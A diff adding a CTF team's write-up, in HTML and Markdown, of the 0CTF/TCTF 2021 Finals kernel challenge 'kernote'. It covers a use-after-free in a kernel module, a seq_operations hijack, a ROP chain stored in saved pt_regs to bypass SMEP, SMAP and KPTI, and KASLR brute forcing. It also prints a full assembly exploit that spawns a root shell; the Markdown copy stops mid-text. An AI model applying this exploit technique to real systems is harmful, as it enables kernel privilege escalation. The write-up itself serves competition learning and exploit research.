diff --git a/0CTF-2021-finals/index.html b/0CTF-2021-finals/index.html new file mode 100755 index 0000000..4b518b1 --- /dev/null +++ b/0CTF-2021-finals/index.html @@ -0,0 +1,215 @@ + + + + + +0CTF/TCTF 2021 Finals | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

0CTF/TCTF 2021 Finals

+ + + + + + + + + + + + + + +
ChallengeCategory
kernotepwn, kernel
+ + + + + + +
+
+
+ +
+ +
+ + + + +
+ + diff --git a/0CTF-2021-finals/index.md b/0CTF-2021-finals/index.md new file mode 100755 index 0000000..1be8d9e --- /dev/null +++ b/0CTF-2021-finals/index.md @@ -0,0 +1,5 @@ +# 0CTF/TCTF 2021 Finals + +| Challenge | Category | +|-----------|----------| +| [kernote](./pwn/kernote) | pwn, kernel | \ No newline at end of file diff --git a/0CTF-2021-finals/pwn/kernote.html b/0CTF-2021-finals/pwn/kernote.html new file mode 100755 index 0000000..c35c17d --- /dev/null +++ b/0CTF-2021-finals/pwn/kernote.html @@ -0,0 +1,884 @@ + + + + + +Kernote | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Kernote

+ +

Authors: Nspace

+ +

Tags: pwn, kernel

+ +

Points: 750

+ +
+

Let’s try kernote in kernel

+ +

nc 42.192.68.11 12345 +Attachment +or Attachment(MEGA)

+
+ +

Analysis

+ +

This is a kernel pwn challenge. The challenge uses the usual setup: a QEMU VM +running Linux with a vulnerable module. We get an unprivileged shell in the VM +and we have to exploit the kernel to become root and read the flag.

+ +
$ ls
+bzImage		readme.md	rootfs.img	run.sh
+
+$ cat readme.md
+Here are some kernel config options in case you need it
+CONFIG_SLAB=y
+CONFIG_SLAB_FREELIST_RANDOM=y
+CONFIG_SLAB_FREELIST_HARDENED=y
+CONFIG_HARDENED_USERCOPY=y
+CONFIG_STATIC_USERMODEHELPER=y
+CONFIG_STATIC_USERMODEHELPER_PATH=""
+
+$ cat run.sh
+#!/bin/sh
+qemu-system-x86_64 \
+-m 128M \
+-kernel ./bzImage \
+-hda ./rootfs.img \
+-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr pti=on" \
+-monitor /dev/null \
+-smp cores=2,threads=2 \
+-nographic \
+-cpu kvm64,+smep,+smap \
+-no-reboot \
+-snapshot
+
+ +

All the usual mitigations are enabled (SMEP, SMAP, KASLR, KPTI, …). The kernel +also uses the SLAB allocator instead of the default SLUB and disables usermode +helpers by hardcoding their path to “”. Furthermore the VM will shut down +immediately if we cause any kernel warnings or panics.

+ +

rootfs.img is an ext4 disk. We can mount it to extract the files:

+ +
$ mount -o loop rootfs.img mount
+
+$ ls mount
+bin  dev  etc  flag  init  kernote.ko  linuxrc  lost+found  proc  sbin  sys  tmp  usr
+
+$  cat mount/init
+#!/bin/sh
+mount -t proc none /proc
+mount -t sysfs none /sys
+mount -t tmpfs tmpfs /tmp
+#mount -t devtmpfs devtmpfs /dev
+mkdir /dev/pts
+mount -t devpts devpts /dev/pts
+echo /sbin/mdev>/proc/sys/kernel/hotplug
+echo 1 > /proc/sys/kernel/dmesg_restrict
+echo 1 > /proc/sys/kernel/kptr_restrict
+echo "flag{testflag}">/flag
+chmod 660 /flag
+insmod /kernote.ko
+#/sbin/mdev -s
+chmod 666 /dev/kernote
+chmod 777 /tmp
+setsid cttyhack setuidgid 1000 sh
+poweroff -f
+
+ +

kptr_restrict=1 prevents us from reading kernel addresses from +/proc/kallsyms and dmesg_restrict=1 prevents us from reading the kernel logs.

+ +

The interesting part is kernote.ko, the kernel module which contains the +vulnerable code. My teammate busdma reverse +engineered the module and quickly spotted some bugs. Here is the (cleaned up) +decompilation.

+ +
uint64_t *buf[16];
+uint64_t *note;
+int major_num;
+struct class *module_class;
+struct device *module_device;
+spinlock_t spin;
+
+int kernote_ioctl(struct file *f, uint32_t cmd, uint64_t arg);
+
+const struct file_operations kernote_fo = {
+    .unlocked_ioctl = kernote_ioctl,
+};
+
+int module_init(void)
+{
+    major_num = register_chrdev(0LL, "kernote", &kernote_fo);
+    if (major_num < 0) {
+        printk(KERN_INFO "[kernote] : Failed to register device\n");
+        return major_num;
+    }
+
+    module_class = class_create(THIS_MODULE, "kernote", &module_device);
+    if (IS_ERR(module_class)) {
+        unregister_chrdev(major_num, "kernote");
+        printk(KERN_INFO "[kernote] : Failed to create class\n");
+        return PTR_ERR(module_class);
+    }
+
+    module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, "kernote");
+    if (IS_ERR(module_device)) {
+        class_destroy(module_class);
+        unregister_chrdev(major_num, "kernote");
+        printk(KERN_INFO "[kernote] : Failed to create device\n");
+        return PTR_ERR(module_device);
+    }
+
+    printk(KERN_INFO "[kernote] : Insert module complete\n");
+    return 0;
+}
+
+int kernote_ioctl(struct file *f, uint32_t cmd, uint64_t arg)
+{
+    int ret;
+
+    raw_spin_lock(&spin);
+
+    switch (cmd) {
+    // alloc note
+    case 0x6667:
+        if (arg > 15) {
+            ret = -1;
+            break;
+        }
+
+        uint64_t *newnote = kmalloc(32, GFP_KERNEL);
+        buf[arg] = newnote;
+        if (newnote == NULL) {
+            ret == -1;
+            break;
+        }
+
+        ret = 0;
+        break;
+
+    // free note
+    case 0x6668:
+        if (arg > 15 || buf[arg] == NULL) {
+            ret = -1;
+            break;
+        }
+
+        kfree(buf[arg]);
+        buf[arg] = 0;
+        ret = 0;
+        break;
+
+    // set note pointer
+    case 0x6666:
+        if (arg > 15) {
+            ret = -1;
+            break;
+        }
+
+        note = buf[arg];
+        break;
+
+    // write note
+    case 0x6669:
+        if (note) {
+            *note = arg;
+            ret = 0;
+        } else {
+            ret = -1;
+        }
+        break;
+
+    // inc refcount?
+    case 0x666a: 
+        struct user_struct *user = current_task->cred->user;
+        refcount_inc(&user->__count);
+        if (user->uid != 0) {
+            printk(KERN_INFO "[kernote] : ********\n");
+            ret = -1;
+        } else if (note != NULL) {
+            printk(KERN_INFO "[kernote] : 0x%lx\n", *note);
+            ret = 0;
+        } else {
+            printk(KERN_INFO "[kernote] : No note\n");
+            ret = -1;
+        }
+        break;
+    }
+
+    spin_unlock(&spin);
+    return ret;
+}
+
+ +

The first bug is that note can point to freed memory if we set it to the address +of a note and then free that note. The second bug is that command 0x666a +increments the user_struct’s refcount but never decrements it. The second bug +is useless because overflowing a refcount triggers a warning which shuts down +the VM immediately, but the first bug looks promising. Later during the CTF the +author of the task confirmed that the second bug was unintentional.

+ +

Command 0x666a looks like it might leak the contents of a note, but in +practice it only does so when invoked by root and it logs the contents to dmesg, +which we can’t access. Either way it’s not useful.

+ +

In conclusion, the bug lets us overwrite the first 8 bytes of a freed chunk in +kmalloc-32. The challenge is to somehow use that to get root.

+ +

Exploitation

+ +

After reverse engineering the module busdma also wrote a PoC exploit that crashes +the kernel with a controlled RIP. The PoC frees a note and reclaims the freed +chunk with a struct seq_operations, which is heap allocated in kmalloc-32 and contains a function pointer +in the first 8 bytes. It then uses the bug to overwrite the function pointer and +reads from the seq file to call the overwritten pointer.

+ +
#define SET_NOTE    0x6666
+#define ALLOC_ENTRY 0x6667 
+#define FREE_ENTRY  0x6668
+#define WRITE_NOTE  0x6669
+
+static int kfd;
+
+static int set_note(uint64_t idx)
+{
+    return ioctl(kfd, SET_NOTE, idx);
+}
+
+static int alloc_entry(uint64_t idx)
+{
+    return ioctl(kfd, ALLOC_ENTRY, idx);
+}
+
+static int free_entry(uint64_t idx)
+{
+    return ioctl(kfd, FREE_ENTRY, idx);
+}
+
+static int write_note(uint64_t val)
+{
+    return ioctl(kfd, WRITE_NOTE, val);
+}
+
+int main(void)
+{
+    kfd = open("/dev/kernote", O_RDWR);
+    assert(kfd > 0);
+
+    for (int i = 0; i < 0x100; i++) {
+        alloc_entry(0);
+    }
+    alloc_entry(1);
+    set_note(1);
+    free_entry(1);
+
+    int fd = open("/proc/self/stat", O_RDONLY);
+
+    write_note(0x4141414141414141);
+
+    char buf[32] = {};
+    read(fd, buf, sizeof(buf));
+
+    return 0;
+}
+
+ +
[    3.856543] general protection fault, probably for non-canonical address 0x4141414141414141: 0000 [#1] SMP PTI
+[    3.858362] CPU: 0 PID: 141 Comm: pwn Tainted: G           OE     5.11.9 #2
+[    3.859598] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014
+[    3.861074] RIP: 0010:__x86_indirect_thunk_rax+0x3/0x5
+[    3.861995] Code: 06 d7 ff 31 c0 e9 43 06 d7 ff <...>
+[    3.865260] RSP: 0018:ffffc90000253dc0 EFLAGS: 00010246
+[    3.866187] RAX: 4141414141414141 RBX: ffffc90000253e60 RCX: 0000000000000000
+[    3.867440] RDX: 0000000000000000 RSI: ffff888004d47be0 RDI: ffff888004d47bb8
+[    3.868698] RBP: ffffc90000253e18 R08: 0000000000001000 R09: ffff888003c63000
+[    3.869960] R10: ffffc90000253e68 R11: 0000000000000000 R12: 0000000000000000
+[    3.871217] R13: ffff888004d47bb8 R14: ffff888004d47be0 R15: ffffc90000253ef0
+[    3.872474] FS:  0000000001e68380(0000) GS:ffff888007600000(0000) knlGS:0000000000000000
+[    3.873898] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
+[    3.874914] CR2: 000000000048afd0 CR3: 0000000004cca000 CR4: 00000000003006f0
+
+ +

This is a great starting point but it’s not enough to own the kernel. We can’t +directly jump to some code in userspace because of SMEP + KPTI. We also can’t +(seemingly) start a ROP or JOP chain right away because we don’t control the +contents of any of the registers or the memory they point to (except rax which +contains our overwritten function pointer).

+ +

My goal at this point was to try and use our bug to get arbitrary read and write +in the kernel.

+ +

My first idea was to overwrite a freelist pointer. By default the first 8 bytes +of a free kmalloc chunk contain the freelist pointer and we can easily get +arbitrary r/w by overwriting that. Unfortunately this challenge doesn’t use the +default allocator. Instead the author enabled the older SLAB allocator which +stores metadata out-of-line and prevents this attack.

+ +

My second idea was to corrupt the next pointer of a msg_msgseg. I had played +corCTF about 1 month earlier and spent a lot of time failing to pwn the Fire of +Salvation kernel challenge. That challenge let us overwrite the first 40 bytes +of a freed chunk in kmalloc-4k, which is somewhat similar to what we have here. +You can find the author’s writeup for that challenge here. +We can reclaim the freed note with a 32-byte msg_msgseg, which contains a +pointer to the next msgseg in the first 8 bytes, then hopefully use that to +get arbitrary read and write, just like in that challenge. Unfortunately I +couldn’t turn this into an arbitrary kernel r/w, even though I could crash the +kernel with an arbitrary pointer dereference. The reason is that the bug doesn’t +let us overwrite the m_ts field of msg_msg, so the kernel will stop reading +and writing after the first msg_msgseg.

+ +

After spending hours on this idea and ultimately ruling it out I went back to +busdma’s crash PoC and started looking for controllable memory in GDB. I +eventually noticed that there were a lot of what looked like userspace pointers +near the bottom of the kernel’s stack:

+ +

+ +

After looking at the system call handler for a bit it became clear that these +are the saved userspace registers. One of the first things the system call +handler does is to push a struct pt_regs on the stack. +pt_regs +contains the values of all the registers at the moment the system call was +invoked. As far as I can tell all registers are saved on every syscall, +despite what the comment on pt_regs says. Obviously the contents of pt_regs +are fully controlled by userspace, minus some constraints such as that rax +must contain the correct system call number.

+ +
struct pt_regs {
+	unsigned long r15;
+	unsigned long r14;
+	unsigned long r13;
+	unsigned long r12;
+	unsigned long rbp;
+	unsigned long rbx;
+	unsigned long r11;
+	unsigned long r10;
+	unsigned long r9;
+	unsigned long r8;
+	unsigned long rax;
+	unsigned long rcx;
+	unsigned long rdx;
+	unsigned long rsi;
+	unsigned long rdi;
+	unsigned long orig_rax;
+	unsigned long rip;
+	unsigned long cs;
+	unsigned long eflags;
+	unsigned long rsp;
+	unsigned long ss;
+};
+
+ +

At this point I had an idea: what if we could store a ROP chain in the contents +of pt_regs? r8-r15, rbx, and rbp are ignored by the read syscall and +can contain any value (except r11 which contains the saved rflags). This +gives us about 80 bytes of contiguous controlled memory. Is this enough to fit +a ROP chain that gives us root and returns to userspace without crashing? Can +we even move the stack pointer to the beginning of the controlled area in a +single gadget?

+ +

As luck would have it, the answer to the second question is yes! I found this +gadget that moves the stack pointer by just the right amount when invoked from +the overwritten seq_operations pointer:

+ +
0xffffffff81516ebe: add rsp, 0x180; mov eax, r12d; pop rbx; pop r12; pop rbp; ret; 
+
+ +

But still, 80 bytes is really not a lot. Can we fit our ROP chain in so little +space? A typical payload used to get root in kernel exploits calls +commit_creds(prepare_kernel_cred(NULL)). Doing this uses 32 bytes in our ROP +chain. However in addition to this we have to return to userspace cleanly, or +we will crash the VM before we can use our newly-acquired root credentials. +Returning to userspace takes an additional 40 bytes because we need to set rcx +to a valid userspace address and r11 to valid flags before we can ROP to +syscall_return_via_sysret. This comes in at 72 bytes, just below of our 80 +byte budget. We can further optimize this down to 64 bytes if we do +commit_creds(&init_cred) instead, and skip prepare_kernel_cred. init_cred +is the cred structure used for the init process and it’s located in the +kernel’s data section. Our final ROP chain then looks like this:

+ +
r15: 0xffffffff81075c4c: pop rdi; ret
+r14: 0xffffffff8266b780: &init_cred
+r13: 0xffffffff810c9dd5: commit_creds
+r12: 0xffffffff810761da: pop rcx; ret
+rbp: < address of our code in userspace >
+rbx: 0xffffffff8107605a: pop r11; ret
+r11: < valid rflags value >
+r10: 0xffffffff81c00109: return from syscall
+
+ +

We need precise control over the values stored in the registers when we invoke +the syscall handler. We need to recover our userspace stack after returning. +This is probably possible in C but I figured I should write a helper function +in assembly instead, to have more precise control over the registers. The +syscall instruction already stores the current value of rflags in r11 so +we don’t have to set that register.

+ +
pwn:
+    mov [user_rsp], rsp
+    mov r15, 0xffffffff81075c4c
+    mov r14, 0xffffffff8266b780
+    mov r13, 0xffffffff810c9dd5
+    mov r12, 0xffffffff810761da
+    lea rbp, [.after_syscall]
+    mov rbx, 0xffffffff8107605a
+    mov r10, 0xffffffff81c00109
+    ; SYS_read
+    xor eax, eax
+    syscall
+.after_syscall:
+    mov rsp, [user_rsp]
+    ret
+
+user_rsp: dq 0
+
+ +

Combined with the seq_operations exploit this makes us root, and we can simply +read and print the flag or execve a shell after returning to userspace.

+ +

There is still an elephant in the room though. So far we have assumed that we +know the address of all of these gadgets, and yet we still have absolutely no +leaks of kernel addresses or a way to bypass KASLR.

+ +

Luckily for us even with KASLR the base address of the kernel is not very random. +In fact there are only 512 possible addresses at which the kernel will load +itself. This is small enough that we can brute force it in a reasonable amount +of time. We will keep trying our exploit assuming that the kernel’s base address +is 0xffffffff81000000 (same as if there was no KASLR) and eventually we will +succeed. We are nearly guaranteed to succeed at least once if we run the exploit +~2000 times. In our experiments running the exploit against the remote system +took about 5-10 seconds. We did some napkin math and concluded that we should +be able to get the flag in about an hour or two by running multiple instances +of the exploit in parallel. Since we still had several hours left before the +end of the CTF we decided to go with that. We got the flag after about an hour.

+ +

I ended up writing an optimized version of the exploit entirely in assembly to +make it smaller and speed up the brute forcing. The target VM has no internet +access so we have to upload the exploit through the VM’s serial port which takes +a long time. Even when using UPX and musl, the C exploit was about 18KB. The +exploit written in assembly is only 342 bytes when gzipped, so it uploads much +faster.

+ +
; Keep running this exploit until it works, which should take about 512 tries.
+; Or alternatively find a KASLR bypass :)
+
+; Emit 64-bit code.
+bits 64
+; Use RIP-relative addressing by default.
+default rel
+; Load at this address
+org 0x40000000
+
+ELFCLASS64 equ 2
+ELFDATA2LSB equ 1
+EV_CURRENT equ 1
+ELFOSABI_NONE equ 0
+ET_EXEC equ 2
+EM_X86_64 equ 62
+PT_LOAD equ 1
+PF_X equ 1
+PF_W equ 2
+PF_R equ 4
+O_RDONLY equ 0
+O_RDWR equ 2
+
+; 64-bit ELF header.
+elfh: 
+; e_ident
+db 0x7f, 'ELF', ELFCLASS64, ELFDATA2LSB, EV_CURRENT, ELFOSABI_NONE, 0, 0, 0, 0, 0, 0, 0, 0
+; e_type
+dw ET_EXEC
+; e_machine
+dw EM_X86_64
+; e_version
+dd EV_CURRENT
+; e_entry
+dq _start
+; e_phoff
+dq phdr - $$
+; e_shoff
+dq 0
+; e_flags
+dd 0
+; e_ehsize
+dw ehsize
+; e_phentsize
+dw phsize
+; e_phnum
+dw 1
+; e_shentsize
+dw 0
+; e_shnum
+dw 0
+; e_shstrndx
+dw 0
+
+; Size of the elf header.
+ehsize equ $ - elfh
+
+; 64-bit program header.
+phdr:
+; p_type;
+dd PT_LOAD
+; p_flags;
+dd PF_R | PF_W | PF_X
+; p_offset;
+dq 0
+; p_vaddr;
+dq $$
+; p_paddr;
+dq $$
+; p_filesz;
+dq filesize
+; p_memsz;
+dq filesize
+; p_align;
+dq 0x1000
+
+phsize equ $ - phdr
+
+exit:
+    mov eax, 60
+    syscall
+    ud2
+
+open:
+    mov eax, 2
+    syscall
+    ret
+
+ioctl:
+    mov eax, 16
+    syscall
+    ret
+
+execve:
+    mov eax, 59
+    syscall
+    ud2
+
+set_note:
+    mov edx, edi
+    mov edi, [kfd]
+    mov esi, 0x6666
+    jmp ioctl
+
+alloc_entry:
+    mov edx, edi
+    mov edi, [kfd]
+    mov esi, 0x6667
+    jmp ioctl
+
+free_entry:
+    mov edx, edi
+    mov edi, [kfd]
+    mov esi, 0x6668
+    jmp ioctl
+
+write_note:
+    mov rdx, rdi
+    mov edi, [kfd]
+    mov esi, 0x6669
+    jmp ioctl
+
+pwn:
+    mov [user_rsp], rsp
+    ; 0xffffffff81075c4c: pop rdi; ret
+    mov r15, 0xffffffff81075c4c
+    ; 0xffffffff8266b780: init_cred
+    mov r14, 0xffffffff8266b780
+    ; 0xffffffff810c9dd5: commit_creds
+    mov r13, 0xffffffff810c9dd5
+    ; 0xffffffff810761da: pop rcx; ret
+    mov r12, 0xffffffff810761da
+    lea rbp, [.after_syscall]
+    ; 0xffffffff8107605a: pop r11; ret
+    mov rbx, 0xffffffff8107605a
+    ; 0xffffffff81c00109: return from syscall
+    mov r10, 0xffffffff81c00109
+    xor eax, eax
+    syscall
+.after_syscall:
+    mov rsp, [user_rsp]
+    ret
+
+_start:
+    ; kfd = open("/dev/kernote", O_RDWR)
+    lea rdi, [devpath]
+    mov esi, O_RDWR
+    call open
+    mov [kfd], eax
+
+    ; for (int i = 0; i < 0x100; i++) {
+    ;   alloc_entry(0);
+    ; }
+    mov r8d, 0x100
+.sprayloop:
+    xor edi, edi
+    call alloc_entry
+    dec r8d
+    jnz .sprayloop
+
+    ; alloc_entry(1)
+    mov edi, 1
+    call alloc_entry
+    ; set_note(1)
+    mov edi, 1
+    call set_note
+    ; free_entry(1)
+    mov edi, 1
+    call free_entry
+
+    ; statfd = open("/proc/self/stat", O_RDONLY)
+    lea rdi, [statpath]
+    mov esi, O_RDONLY
+    call open
+    mov [statfd], eax
+
+    ; 0xffffffff81516ebe: add rsp, 0x180; mov eax, r12d; pop rbx; pop r12; pop rbp; ret; 
+    ; write_note(0xffffffff81516ebe)
+    mov rdi, 0xffffffff81516ebe
+    call write_note
+
+    ; pwn(statfd, buf, sizeof(buf))
+    mov edi, [statfd]
+    lea rsi, [buf]
+    mov edx, bufsize
+    call pwn
+
+    ; execve("/bin/sh", {"/bin/sh", NULL}, NULL)
+    lea rdi, [shell_path]
+    lea rsi, [shell_argv]
+    xor edx, edx
+    jmp execve
+
+user_rsp: dq 0
+kfd: dd 0
+statfd: dd 0
+shell_argv: dq shell_path, 0
+buf: times 32 db 0
+bufsize equ $ - buf
+
+devpath: db '/dev/kernote', 0
+statpath: db '/proc/self/stat', 0
+shell_path: db '/bin/sh', 0
+
+filesize equ $ - $$
+
+ +
flag{LMm2tayzwWEzGpnmoyyf8zoTmk6X5TQrL45o}
+
+ +

Intended solution

+ +

It is pretty clear that this solution is not what the author intended, but +it was still fun and it got us a flag which is what counts. The intended +solution was to overwrite a freed ldt_struct. You can find the author’s own +writeup here.

+ +

Conclusion

+ +

Thanks to busdma for the help with reversing and the initial PoC exploit and to +my teammates for letting me bounce ideas off of them. Thanks to 0ops and eee for +the amazing CTF, we really had a lot of fun playing this one. Looking forward +to next year’s edition :).

+ +

I don’t know if using pt_regs as ROP chain is a new technique or not. I’ve +never heard of it before and I couldn’t find anything on Google. It seems pretty +powerful though: it only requires RIP control and bypasses all mitigations +except KASLR, assuming that the kernel has the right gadgets. Let me know if +it’s been used before somewhere.

+ + + + + + +
+
+
+ +
+ +
+ + + + +
+ + diff --git a/0CTF-2021-finals/pwn/kernote.md b/0CTF-2021-finals/pwn/kernote.md new file mode 100755 index 0000000..a61b926 --- /dev/null +++ b/0CTF-2021-finals/pwn/kernote.md @@ -0,0 +1,694 @@ +# Kernote + +**Authors:** [Nspace](https://twitter.com/_MatteoRizzo) + +**Tags:** pwn, kernel + +**Points:** 750 + +> Let's try kernote in kernel +> +> nc 42.192.68.11 12345 +> [Attachment](https://attachment.ctf.0ops.sjtu.cn/kernote_3157feafdcfaf6dcfa356a04ad57a056.tar.gz) +> or [Attachment(MEGA)](https://mega.nz/file/axoHVaTa#cl_YEcpSn3W094l65jYVKugt0DWucl1YnuDGqq_OVN4) + +## Analysis + +This is a kernel pwn challenge. The challenge uses the usual setup: a QEMU VM +running Linux with a vulnerable module. We get an unprivileged shell in the VM +and we have to exploit the kernel to become root and read the flag. + +``` +$ ls +bzImage readme.md rootfs.img run.sh + +$ cat readme.md +Here are some kernel config options in case you need it +CONFIG_SLAB=y +CONFIG_SLAB_FREELIST_RANDOM=y +CONFIG_SLAB_FREELIST_HARDENED=y +CONFIG_HARDENED_USERCOPY=y +CONFIG_STATIC_USERMODEHELPER=y +CONFIG_STATIC_USERMODEHELPER_PATH="" + +$ cat run.sh +#!/bin/sh +qemu-system-x86_64 \ +-m 128M \ +-kernel ./bzImage \ +-hda ./rootfs.img \ +-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr pti=on" \ +-monitor /dev/null \ +-smp cores=2,threads=2 \ +-nographic \ +-cpu kvm64,+smep,+smap \ +-no-reboot \ +-snapshot +``` + +All the usual mitigations are enabled (SMEP, SMAP, KASLR, KPTI, ...). The kernel +also uses the SLAB allocator instead of the default SLUB and disables usermode +helpers by hardcoding their path to "". Furthermore the VM will shut down +immediately if we cause any kernel warnings or panics. + +`rootfs.img` is an ext4 disk. We can mount it to extract the files: + +``` +$ mount -o loop rootfs.img mount + +$ ls mount +bin dev etc flag init kernote.ko linuxrc lost+found proc sbin sys tmp usr + +$ cat mount/init +#!/bin/sh +mount -t proc none /proc +mount -t sysfs none /sys +mount -t tmpfs tmpfs /tmp +#mount -t devtmpfs devtmpfs /dev +mkdir /dev/pts +mount -t devpts devpts /dev/pts +echo /sbin/mdev>/proc/sys/kernel/hotplug +echo 1 > /proc/sys/kernel/dmesg_restrict +echo 1 > /proc/sys/kernel/kptr_restrict +echo "flag{testflag}">/flag +chmod 660 /flag +insmod /kernote.ko +#/sbin/mdev -s +chmod 666 /dev/kernote +chmod 777 /tmp +setsid cttyhack setuidgid 1000 sh +poweroff -f +``` + +`kptr_restrict=1` prevents us from reading kernel addresses from +`/proc/kallsyms` and `dmesg_restrict=1` prevents us from reading the kernel logs. + +The interesting part is `kernote.ko`, the kernel module which contains the +vulnerable code. My teammate [busdma](https://twitter.com/busdma) reverse +engineered the module and quickly spotted some bugs. Here is the (cleaned up) +decompilation. + +```c +uint64_t *buf[16]; +uint64_t *note; +int major_num; +struct class *module_class; +struct device *module_device; +spinlock_t spin; + +int kernote_ioctl(struct file *f, uint32_t cmd, uint64_t arg); + +const struct file_operations kernote_fo = { + .unlocked_ioctl = kernote_ioctl, +}; + +int module_init(void) +{ + major_num = register_chrdev(0LL, "kernote", &kernote_fo); + if (major_num < 0) { + printk(KERN_INFO "[kernote] : Failed to register device\n"); + return major_num; + } + + module_class = class_create(THIS_MODULE, "kernote", &module_device); + if (IS_ERR(module_class)) { + unregister_chrdev(major_num, "kernote"); + printk(KERN_INFO "[kernote] : Failed to create class\n"); + return PTR_ERR(module_class); + } + + module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, "kernote"); + if (IS_ERR(module_device)) { + class_destroy(module_class); + unregister_chrdev(major_num, "kernote"); + printk(KERN_INFO "[kernote] : Failed to create device\n"); + return PTR_ERR(module_device); + } + + printk(KERN_INFO "[kernote] : Insert module complete\n"); + return 0; +} + +int kernote_ioctl(struct file *f, uint32_t cmd, uint64_t arg) +{ + int ret; + + raw_spin_lock(&spin); + + switch (cmd) { + // alloc note + case 0x6667: + if (arg > 15) { + ret = -1; + break; + } + + uint64_t *newnote = kmalloc(32, GFP_KERNEL); + buf[arg] = newnote; + if (newnote == NULL) { + ret == -1; + break; + } + + ret = 0; + break; + + // free note + case 0x6668: + if (arg > 15 || buf[arg] == NULL) { + ret = -1; + break; + } + + kfree(buf[arg]); + buf[arg] = 0; + ret = 0; + break; + + // set note pointer + case 0x6666: + if (arg > 15) { + ret = -1; + break; + } + + note = buf[arg]; + break; + + // write note + case 0x6669: + if (note) { + *note = arg; + ret = 0; + } else { + ret = -1; + } + break; + + // inc refcount? + case 0x666a: + struct user_struct *user = current_task->cred->user; + refcount_inc(&user->__count); + if (user->uid != 0) { + printk(KERN_INFO "[kernote] : ********\n"); + ret = -1; + } else if (note != NULL) { + printk(KERN_INFO "[kernote] : 0x%lx\n", *note); + ret = 0; + } else { + printk(KERN_INFO "[kernote] : No note\n"); + ret = -1; + } + break; + } + + spin_unlock(&spin); + return ret; +} +``` + +The first bug is that note can point to freed memory if we set it to the address +of a note and then free that note. The second bug is that command `0x666a` +increments the `user_struct`'s refcount but never decrements it. The second bug +is useless because overflowing a refcount triggers a warning which shuts down +the VM immediately, but the first bug looks promising. Later during the CTF the +author of the task confirmed that the second bug was unintentional. + +Command `0x666a` looks like it might leak the contents of a note, but in +practice it only does so when invoked by root and it logs the contents to dmesg, +which we can't access. Either way it's not useful. + +In conclusion, the bug lets us overwrite the first 8 bytes of a freed chunk in +kmalloc-32. The challenge is to somehow use that to get root. + +## Exploitation + +After reverse engineering the module busdma also wrote a PoC exploit that crashes +the kernel with a controlled RIP. The PoC frees a note and reclaims the freed +chunk with a [`struct seq_operations`](https://elixir.bootlin.com/linux/latest/source/include/linux/seq_file.h#L31), which is heap allocated in kmalloc-32 and contains a function pointer +in the first 8 bytes. It then uses the bug to overwrite the function pointer and +reads from the seq file to call the overwritten pointer. + +```c +#define SET_NOTE 0x6666 +#define ALLOC_ENTRY 0x6667 +#define FREE_ENTRY 0x6668 +#define WRITE_NOTE 0x6669 + +static int kfd; + +static int set_note(uint64_t idx) +{ + return ioctl(kfd, SET_NOTE, idx); +} + +static int alloc_entry(uint64_t idx) +{ + return ioctl(kfd, ALLOC_ENTRY, idx); +} + +static int free_entry(uint64_t idx) +{ + return ioctl(kfd, FREE_ENTRY, idx); +} + +static int write_note(uint64_t val) +{ + return ioctl(kfd, WRITE_NOTE, val); +} + +int main(void) +{ + kfd = open("/dev/kernote", O_RDWR); + assert(kfd > 0); + + for (int i = 0; i < 0x100; i++) { + alloc_entry(0); + } + alloc_entry(1); + set_note(1); + free_entry(1); + + int fd = open("/proc/self/stat", O_RDONLY); + + write_note(0x4141414141414141); + + char buf[32] = {}; + read(fd, buf, sizeof(buf)); + + return 0; +} +``` + +``` +[ 3.856543] general protection fault, probably for non-canonical address 0x4141414141414141: 0000 [#1] SMP PTI +[ 3.858362] CPU: 0 PID: 141 Comm: pwn Tainted: G OE 5.11.9 #2 +[ 3.859598] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014 +[ 3.861074] RIP: 0010:__x86_indirect_thunk_rax+0x3/0x5 +[ 3.861995] Code: 06 d7 ff 31 c0 e9 43 06 d7 ff <...> +[ 3.865260] RSP: 0018:ffffc90000253dc0 EFLAGS: 00010246 +[ 3.866187] RAX: 4141414141414141 RBX: ffffc90000253e60 RCX: 0000000000000000 +[ 3.867440] RDX: 0000000000000000 RSI: ffff888004d47be0 RDI: ffff888004d47bb8 +[ 3.868698] RBP: ffffc90000253e18 R08: 0000000000001000 R09: ffff888003c63000 +[ 3.869960] R10: ffffc90000253e68 R11: 0000000000000000 R12: 0000000000000000 +[ 3.871217] R13: ffff888004d47bb8 R14: ffff888004d47be0 R15: ffffc90000253ef0 +[ 3.872474] FS: 0000000001e68380(0000) GS:ffff888007600000(0000) knlGS:0000000000000000 +[ 3.873898] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 3.874914] CR2: 000000000048afd0 CR3: 0000000004cca000 CR4: 00000000003006f0 +``` + +This is a great starting point but it's not enough to own the kernel. We can't +directly jump to some code in userspace because of SMEP + KPTI. We also can't +(seemingly) start a ROP or JOP chain right away because we don't control the +contents of any of the registers or the memory they point to (except rax which +contains our overwritten function pointer). + +My goal at this point was to try and use our bug to get arbitrary read and write +in the kernel. + +My first idea was to overwrite a freelist pointer. By default the first 8 bytes +of a free kmalloc chunk contain the freelist pointer and we can easily get +arbitrary r/w by overwriting that. Unfortunately this challenge doesn't use the +default allocator. Instead the author enabled the older SLAB allocator which +stores metadata out-of-line and prevents this attack. + +My second idea was to corrupt the next pointer of a `msg_msgseg`. I had played +corCTF about 1 month earlier and spent a lot of time failing to pwn the `Fire of +Salvation` kernel challenge. That challenge let us overwrite the first 40 bytes +of a freed chunk in kmalloc-4k, which is somewhat similar to what we have here. +You can find the author's writeup for that challenge [here](https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html). +We can reclaim the freed note with a 32-byte `msg_msgseg`, which contains a +pointer to the next `msgseg` in the first 8 bytes, then hopefully use that to +get arbitrary read and write, just like in that challenge. Unfortunately I +couldn't turn this into an arbitrary kernel r/w, even though I could crash the +kernel with an arbitrary pointer dereference. The reason is that the bug doesn't +let us overwrite the `m_ts` field of `msg_msg`, so the kernel will stop reading +and writing after the first `msg_msgseg`. + 